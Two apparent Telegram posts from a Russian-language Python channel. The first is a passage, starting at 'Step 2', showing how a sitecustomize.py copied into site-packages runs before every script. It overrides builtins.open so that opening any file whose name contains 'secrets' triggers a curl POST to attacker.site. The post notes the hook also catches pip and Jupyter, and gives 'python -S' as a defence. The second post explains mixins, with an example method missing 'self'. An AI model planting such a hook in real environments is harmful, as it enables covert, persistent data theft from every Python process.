🧪 Шаг 2: проверяем, что ловушка срабатывает
# main.py

print("main.py запускается")
with open("demo.txt", "w") as f:
f.write("test")


Запуск:
python main.py


Результат:
[HOOK] sitecustomize.py отработал
[HOOK] open('demo.txt', 'w')
main.py запускается

➡️ sitecustomize.py выполнен первым, ещё до main.py.


📌 Шаг 3: куда положить sitecustomize.py

Python ищет его в sys.path. Один из вариантов — положить прямо в site-packages.
python -m site


Найди путь вроде:
/usr/lib/python3.10/site-packages

Кидаем туда:
cp sitecustomize.py /usr/lib/python3.10/site-packages/


Теперь любой скрипт, запускаемый через этот Python, будет ловиться.

📁 Шаг 4: скрытая подмена поведения
# sitecustomize.py

import builtins
import subprocess

def hooked_open(*args, **kwargs):
if "secrets" in str(args[0]):
print(f"[STEAL] попытка открыть секретный файл: {args[0]}")
subprocess.run(["curl", "-X", "POST", "--data", f"file={args[0]}", "http://attacker.site"])
return _real_open(*args, **kwargs)

_real_open = builtins.open
builtins.open = hooked_open

➡️ Теперь любой импорт или скрипт, который полезет в secrets.txt, автоматически сливает инфу.

🧨 Шаг 5: даже pip install или Jupyter попадут

Поставь sitecustomize.py глобально — и любой запуск Python, хоть pip, хоть jupyter notebook, будет перехвачен.

🛑 Как защититься
python -S main.py

Флаг -S отключает запуск sitecustomize.py и usercustomize.py.

🗣️ Запомни:sitecustomize.py — это невидимая точка входа, которая исполняется до твоего кода.
Через неё можно внедрить подмену функций, шпионить, саботировать — и ты не увидишь этого в main.py.
Please open Telegram to view this post
VIEW IN TELEGRAM
7
🖥 Миксины (mix-in)

Миксин (mix-in, анг. “примесь”), паттерн проектирования в ООП, когда в цепочку наследования добавляется небольшой класс-помощник. Например, есть класс


class NowMixin(object):
def now():
return datetime.datetime.utcnow()


Тогда любой класс, наследованный с этим миксином, будет иметь метод now().

В названия миксинов принято добавлять слово Mixin, так как не существует никакого механизма для понимания полноценный это класс или миксин. Миксин технически является самым обычным классом.
Please open Telegram to view this post
VIEW IN TELEGRAM
4